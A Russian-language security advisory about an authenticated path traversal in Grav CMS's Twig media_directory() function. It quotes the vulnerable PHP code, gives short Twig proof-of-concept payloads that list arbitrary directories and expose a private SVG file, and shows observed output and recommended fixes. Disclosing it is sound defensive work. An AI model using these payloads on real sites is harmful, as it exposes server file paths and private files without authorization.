
Технический бюллетень, описывающий аутентифицированную уязвимость обхода пути в функции Twig media_directory() в Grav CMS, позволяющую произвольное перечисление каталогов и раскрытие путей файловой системы.
media_directory()Имя: CYBER-SEC
Контакт: [email protected]
Twig-функция media_directory() в Grav доступна в белом списке Twig-песочницы содержимого страниц, но не обеспечивает должного ограничения путей для входных данных, не являющихся потоками.
Аутентифицированный пользователь с правами редактирования страниц может вызвать media_directory('/absolute/path') или использовать относительный обход каталога, например media_directory('../../../../path'), в содержимом страниц с поддержкой Twig. Grav затем индексирует файлы медиатипов из каталогов, доступных для чтения пользователю веб-сервера.
Возвращаемые объекты Medium раскрывают разрешённые песочницей свойства, такие как и , что приводит к перечислению произвольных каталогов и раскрытию абсолютных путей файловой системы. Для файлов изображений/SVG генерация URL или кэша может раскрывать файлы через публичный механизм кэширования Grav.
filepathfilenameЭто уязвимость раскрытия информации для аутентифицированных пользователей. Не известно, что она допускает эксплуатацию без аутентификации или прямое удалённое выполнение кода.
Продукт: Grav flat-file CMS
Репозиторий: https://github.com/getgrav/grav
Подтверждённые затронутые версии: 2.0.3, 2.0.4, 2.0.6
Компонент: Twig media_directory() / Twig-песочница содержимого страниц Grav
Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Базовый балл: 6.5 Средний
Уязвимый участок кода находится в:
system/src/Grav/Common/Twig/Extension/GravExtension.php
Соответствующая логика:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
Только входные данные вида stream:// разрешаются через локатор Grav. Абсолютные или относительные пути, не являющиеся потоками, передаются без изменений в new Media($media_dir) без канонической проверки realpath(), отклонения обходных последовательностей или ограничения каталогами, контролируемыми Grav.
Функция доступна через белый список Twig-песочницы содержимого страниц:
system/config/security.yaml
allowed_functions:
- media_directory
Песочница также разрешает методы/свойства Medium, такие как:
filepath
filename
url
cache
resize
Это позволяет аутентифицированному редактору страниц раскрывать имена файлов и абсолютные пути из произвольных доступных для чтения каталогов. Для файлов изображений/SVG публичная генерация URL/кэша может раскрывать содержимое файлов.
При включённой обработке Twig-содержимого создайте или отредактируйте страницу Grav и вставьте:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Форма с обходом каталога:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Пример раскрытия изображения/SVG:
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}
Когда страница сохраняется и отображается, Grav индексирует файлы из указанного атакующим пути и раскрывает имена файлов и абсолютные пути файловой системы.
Проверено на Grav 2.0.6 с использованием Docker-образа linuxserver/grav:latest.
Наблюдаемые результаты включали:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
Относительный обход каталога также был подтверждён:
../../../../app/www/public
Раскрытие SVG-файлов через .url также было подтверждено в контролируемой локальной тестовой среде.
Аутентифицированный редактор страниц может:
Эта уязвимость относится к классу раскрытия информации и не должна сообщаться как удалённое выполнение кода.
Рекомендуемые исправления:
media_directory из белого списка Twig-песочницы содержимого страниц.или:
media_directory():realpath().user://pages, user://images или другие явно одобренные каталоги медиафайлов.Эта проблема была сообщена CYBER-SEC.